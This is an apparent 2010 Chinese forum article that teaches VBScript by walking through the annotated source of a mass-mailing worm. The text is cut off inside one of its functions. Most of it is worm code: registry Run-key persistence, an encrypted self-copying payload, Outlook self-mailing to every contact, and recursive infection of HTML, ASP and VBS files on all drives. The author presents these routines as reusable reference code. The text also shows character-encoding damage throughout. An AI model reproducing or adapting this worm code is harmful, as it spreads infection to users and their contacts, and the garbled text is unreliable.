-- 作者：wangxinxin
-- 發(fā)布時(shí)間：2010-12-14 13:45:43
-- 通過(guò)對(duì)一個(gè)病毒源碼的分析，了解VBS腳本語(yǔ)言的應(yīng)用-.net教程,VB.net語(yǔ)言
讀了《將vbscript拒之“窗”外》一文，心里有些感觸，覺(jué)得是不
是少了兩個(gè)字，應(yīng)為《將vbscript病毒拒之“窗”外》，vbscript何罪之有，看了
看文章，確實(shí)是將vbscript拒之了“窗”外，上網(wǎng)查了查相關(guān)資料，也多是文中提
供的方法，vbscript可真成了冤大頭，可謂是“擋住了蒼蠅，也看不到了蝴蝶”。
對(duì)于一個(gè)真正充滿(mǎn)熱情的cfan來(lái)說(shuō)，不僅要知其然，還要知其所以然，vbs病毒
真的很可怕嗎？從早期的宏病毒，到有名的“歡樂(lè)時(shí)光”病毒，“愛(ài)情蟲(chóng)”病毒等，
無(wú)不來(lái)勢(shì)洶洶，其實(shí)許多生勢(shì)多是殺毒軟件商的炒做，讀了前文，筆者覺(jué)得有必要
為vbs正名，為了讓計(jì)算機(jī)更好，更高效的服務(wù),我們決不應(yīng)該回避優(yōu)秀的軟件工具，
采取被動(dòng)回避的策略，等同于因噎廢食。
本文通過(guò)對(duì)一個(gè)vbs病毒源碼的分析，介紹腳本語(yǔ)言在：文件系統(tǒng)，注冊(cè)表，以
及網(wǎng)絡(luò)郵件三個(gè)方面的具體應(yīng)用和技巧。較早的“愛(ài)情蟲(chóng)”等病毒，程序比較粗糙，
這個(gè)病毒結(jié)合了許多早期病毒的優(yōu)點(diǎn)，程序代碼簡(jiǎn)單，高效，充分展示了vbs的全面
特點(diǎn)，因此拿來(lái)與大家共享，如果將這個(gè)源碼作為一個(gè)vbs開(kāi)發(fā)的微型幫助文檔，一
點(diǎn)不為過(guò)。讀者也可以通過(guò)此文揭開(kāi)此類(lèi)病毒的神秘面紗,不再談虎色變，先進(jìn)的東
西都不敢用了。殺病毒嗎,筆者還是建議您購(gòu)買(mǎi)一套殺毒軟件（幾十元的價(jià)格，一點(diǎn)
不貴），然后注意更新病毒庫(kù)就可以了。要學(xué)習(xí) vbs,具有一些vb的基礎(chǔ)知識(shí)就夠了。
這個(gè)病毒的主要攻擊方法是：通過(guò)網(wǎng)絡(luò)及郵件進(jìn)行傳播，并且不斷地向目標(biāo)郵件服
務(wù)器發(fā)送大量郵件，并且在傳染過(guò)程中檢測(cè)網(wǎng)絡(luò)主機(jī)的名稱(chēng)中是否有目標(biāo)字符，如
果有則進(jìn)行破壞攻擊。
下面將結(jié)合具體的程序逐步進(jìn)行介紹,由于篇幅關(guān)系，對(duì)一些語(yǔ)句進(jìn)行了縮減。
@ thank you! make use of other person to get rid of an enemy, white trap _2001
開(kāi)場(chǎng)白,第一個(gè)字符“@”是這個(gè)病毒傳染時(shí)的標(biāo)記
on error resume next 這一句很重要，主要是在程序執(zhí)行時(shí)如果發(fā)生錯(cuò)誤就接著
執(zhí)行下一條語(yǔ)句，防止談出出錯(cuò)對(duì)話(huà)框，否則就不能偷偷
的干壞事啦。這里有一個(gè)技巧，就是在程序編制調(diào)試階段，
最好不要這一條語(yǔ)句，因?yàn)樗鼤?huì)忽略錯(cuò)誤，使你的調(diào)試工
作不易完成。
dim vbscr, fso,w1,w2,mswkey,hcuw,code_str, vbs_str, js_str
dim defpath, smailc, max_size, whb(), title(10) 聲明各個(gè)變量
smailc = 4
redim whb(smailc)
whb(0) = "pr@witehous.gov"
...
whb(3) = "ms@witehous.gov"
以上這四個(gè)郵件地址就是被攻擊的目標(biāo)，當(dāng)然已經(jīng)進(jìn)行了修改，不是真實(shí)地址
title(0) = "thanks for helping me!"
...
title(8) = "the sitting is open!"
title(9) = ""
以上這十條字符串是病毒執(zhí)行時(shí)隨機(jī)顯示在ie標(biāo)題欄里的信息。如果你的ie標(biāo)題欄
顯示了其中的某條信息，呵呵，一定要接著往下看
defpath = "c:\\readme.html" 將隨郵件一起發(fā)送的病毒體
max_size = 100000
mswkey = "hkey_local_machine\\software\\microsoft\\windows\\"
hcuw = "hkey_current_user\\software\\microsoft\\wab\\"
定義兩個(gè)注冊(cè)表的鍵值變量
main 執(zhí)行主函數(shù)
下面就是程序中所需的各個(gè)函數(shù)的定義部分，整個(gè)vbs程序?qū)⒂蓋indows目錄中的
wscript.exe文件解釋執(zhí)行,如果將這個(gè)文件改名或刪除,當(dāng)然vbs程序也就不能執(zhí)行
了，如此便阻止了病毒的執(zhí)行。在用殺毒軟件殺毒時(shí)，往往病毒傳播的速度要比殺
毒的速度快，如果出現(xiàn)這種情況，應(yīng)該先將wscript.exe文件改名，阻止病毒傳播，
等殺完毒后，再改回來(lái)，不致影響其他正常的vbs程序的執(zhí)行。
sub main()
on error resume next
dim w_s
w_s= wscript.scriptfullname 得到此文件名稱(chēng)
if w_s = "" then
err.clear
set fso = createobject("scripting.filesystemobject")
隨著vb編程語(yǔ)言的完善，微軟也推出了一種全新的文件操作方法：文件系
統(tǒng)對(duì)象（filesystemobject）。這個(gè)對(duì)象，及一些相關(guān)對(duì)象，封裝了所有
的文件操作。這個(gè)病毒程序基本展示了所有的這些操作，因此，如果您要
利用vbs進(jìn)行文件操作編程，將這個(gè)病毒源碼作為參考文檔，肯定不錯(cuò)。
if geterr then
randomize
ra = int(rnd() * 7)
doucment.write title(ra)
executemail 打開(kāi)有毒的頁(yè)面
else
executepage 賦值成功，進(jìn)行傳染，攻擊
end if
else
executevbs 從病毒體文件“system.dll”提取病毒
end if
end sub
function geterr()
本函數(shù)主要是檢測(cè)前一條語(yǔ)句是否成功返回了scripting.filesystemobject對(duì)象，
內(nèi)容略
end function
sub executepage()
dim html_str,adi,vf,wdf, wdf2,wdf3,wdsf, wdsf2
vbs_str = getscriptcode("vbscript") 獲得此程序的vbscript code
js_str = getjavascript()
code_str = makescript(encrypt(vbs_str),true) 進(jìn)行加密處理
html_str = makehtml(encrypt(vbs_str), true)
gf
wdsf = w2 & "mdm.vbs"
wdsf2 = w1 & "profile.vbs"
wdf = w2 & "user.dll"
wdf2 = w2 & "readme.html"
wdf3 = w2 & "system.dll"
set vf = fso.opentextfile (wdf, 2, true)
vf.write vbs_str
vf.close
僅用以上三條語(yǔ)句便完成了病毒體文件 "user.dll"的制作，其中對(duì)象函數(shù)
opentextfile (wdf, 2, true)的三個(gè)參數(shù)分別是：
①文件名，②讀=1或?qū)?2，③文件不存在時(shí)是否創(chuàng)建；
當(dāng)前，filesystemobject對(duì)于文本文件的操作有較強(qiáng)的優(yōu)勢(shì)，對(duì)binary文件
的操作還有待加強(qiáng)。下面依次生成其他的文件，內(nèi)容略
writereg mswkey & "currentversion\\run\\mdm", wdsf, ""
writereg mswkey & "currentversion\\runservices\\profile", wdsf2, ""
將mdm.vbs,profile.vbs兩個(gè)腳本文件加入到啟動(dòng)組當(dāng)中，隨win啟動(dòng)自動(dòng)執(zhí)行
sendmail
hackpage
if testuser then
killhe
else
mk75
end if
set adi = fso.drives 所有驅(qū)動(dòng)器對(duì)象
for each x in adi 遍歷所有的驅(qū)動(dòng)器
if x.drivestype = 2 or x.drivestype = 3 then
call searchhtml(x & "\\")
end if
next
if fso.fileexists(defpath) then fso.deletefile defpath
如果存在"c:\\readme.html" ，就刪除它
end sub
sub executemail()
此函數(shù)制作病毒文件"c:\\readme.html" ，并打開(kāi)它，
由這一段程序，可以看出vbs的簡(jiǎn)潔高效
on error resume next
vbs_str = getscriptcode("vbscript")
js_str = getjavascript()
set stl = createobject("scriptlet.typelib")
with stl
.reset
.path = defpath
.doc = makehtml(encrypt(vbs_str), true)
.write()
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no"
end sub
sub executevbs()
on error resume next
dim x, adi, wvbs, ws, vf
set fso = createobject("scripting.filesystemobject")
set wvbs = createobject("wscript.shell")
gf
wvbs.regwrite mswkey & "windows scripting host\\setings\\timeout", 0, "reg_dword"
set vf = fso.opentextfile (w2 & "system.dll", 1)
code_str = vf.readall()
vf.close
hackpage
sendmail
if testuser then
killhe
else
mk75
end if
set adi = fso.drives
for each x in adi
if x.drivestype = 2 or x.drivestype = 3 then
call searchhtml(x & "\\")
end if
next
end sub
sub gf()
w1=fso.getspecialfolder(0) & "\\" 獲得windows的路徑名，
w2=fso.getspecialfolder(1) & "\\" 獲得系統(tǒng)文件夾路徑名
end sub
function readreg(key_str)
set tmps = createobject("wscript.shell")
readreg = tmps.regread(key_str)
set tmps = nothing
end function
function writereg(key_str, newvalue, vtype)
對(duì)注冊(cè)表進(jìn)行寫(xiě)入操作，讀操作類(lèi)似，可以由此看到vbs的注冊(cè)表操作非常簡(jiǎn)單明了。
set tmps = createobject("wscript.shell")
if vtype="" then
tmps.regwrite key_str, newvalue
else
tmps.regwrite key_str, newvalue, vtype
end if
set tmps = nothing 關(guān)閉不用的資源，算是病毒的良好行為
end function
function makehtml(sbuffer, ihtml)
制作html文件的內(nèi)容
dim ra
randomize
ra = int(rnd() * 7)
makehtml="<" & "html><" & "head><" & "title>" & title(ra) & "</" & "title><" & "/head>" & _
"<bo" & "ad>" & vbcrlf & makescript(sbuffer, ihtml) & vbcrlf & _
"<" & "/boad><" & "/html>"
end function
function makescript(codestr, ihtml)
制作病毒的可執(zhí)行script code
if ihtml then
dim docuwrite
docuwrite = "document.write(<+" & "script language=javascript>\\n+" & _
"jword" & "+\\n</" & "+script>);"
docuwrite = docuwrite & vbcrlf & "document.write(<+" & "script language=vbscript>\\n+" & _
"nword" & "+\\n</" & "+script>);"
makescript="<" & "script language=javascript>" & vbcrlf & "var jword = " & _
chr(34) & encrypt(js_str) & chr(34) & vbcrlf & "var nword = " & _
chr(34) & codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
"jword = unescape(jword);" & vbcrlf & docuwrite & vbcrlf & "</" & "script>"
else
makescript= "<" & "script language=javascript>" & codestr & "</" & "script>"
end if
end function
function getscriptcode(languages)
此函數(shù)獲得運(yùn)行時(shí)的script code，
內(nèi)容略
end function
function getjavascript()
getjavascript = getscriptcode("javascript")
end function
function testuser()
此函數(shù)通過(guò)鍵值檢測(cè)網(wǎng)絡(luò)主機(jī)是否是攻擊目標(biāo)
內(nèi)容略
end function
function mk75()
檢測(cè)日期是否符合，如果符合，發(fā)控制臺(tái)命令，使系統(tǒng)癱瘓
end function
function sendmail()
利用outlook發(fā)送攜帶病毒體的郵件，microsoft outlook是可編程桌面信息管理程序，
outlook可以作為一個(gè)自動(dòng)化服務(wù)器(automation servers)，因此很容易實(shí)現(xiàn)自動(dòng)發(fā)送
郵件，從這里也可以看出，先進(jìn)的東西難免會(huì)被反面利用，如果你也想用程序控制發(fā)送
郵件，可以仔細(xì)研究下面的代碼，
on error resume next
dim wab,ra,j, oa, arrsm, eins, eaec, fm, wreg, areg,at
randomize
at=fso.getspecialfolder(1) & "\\readme.html" 要發(fā)送的附件文件
set oa = createobject("outlook.application") 制作outlook對(duì)象
set wab = oa.getnamespace("mapi") 取得outlook mapi名字空間
for j = 1 to wab.addresslists.count 遍歷所有聯(lián)系人
eins = wab.addresslists(j)
wreg=readreg (hcuw & eins)
if (wreg="") then wreg = 1
eaec = eins.addressentries.count 地址表的email記錄數(shù)
if (eaec > int(wreg)) then
for x = 1 to eaec
arrsm = wab.addressentries(x)
areg = readreg(hcuw & arrsm)
讀注冊(cè)表中的標(biāo)記，避免重復(fù)發(fā)送
if (areg = "") then
set fm = wab.createitem(0) 創(chuàng)建新郵件
with fm
ra = int(rnd() * 7)
.recipients.add arrsm 收件人
.subject = title(ra) 郵件的標(biāo)題
.body = title(ra) 郵件的正文內(nèi)容
.attachments at 病毒文件作為附件
.send 發(fā)送郵件
writereg hcuw & arrsm, 1, "reg_dword"
end with
end if
next
end if
writereg hcuw & eins, eaec, ""
next
set oa = nothing
window.settimeout "sendmail()", 10000 每100秒發(fā)送一次
end function
sub searchhtml(path)
這個(gè)函數(shù)遞歸搜索所有需感染的文件，如果你想批量處理文件，這是非常典型
的樣例代碼
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(path, fso.getspecialfolder(2)) > 0 then exit sub
fso.getspecialfolder(2)獲得臨時(shí)文件夾路徑名，
fso.getspecialfolder(0)獲得windows的路徑名，
fso.getspecialfolder(1)獲得系統(tǒng)文件夾路徑名
set pfo = fso.getfolder(path)
set psfo = pfo.subfolders
for each ps in psfo
searchhtml(ps.path)
set pf = ps.files
for each pfi in pf
ext = lcase(fso.getextensionname(pfi.path))
if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then
if code_str<>"" then addhead pfi.path, pfi, 1
elseif ext= "vbs" then
addhead pfi.path,pfi, 2
end if
next
next
end sub
sub killhe()
看函數(shù)名就知道硬盤(pán)又要倒霉啦
end sub
sub hackpage()
dim fi
|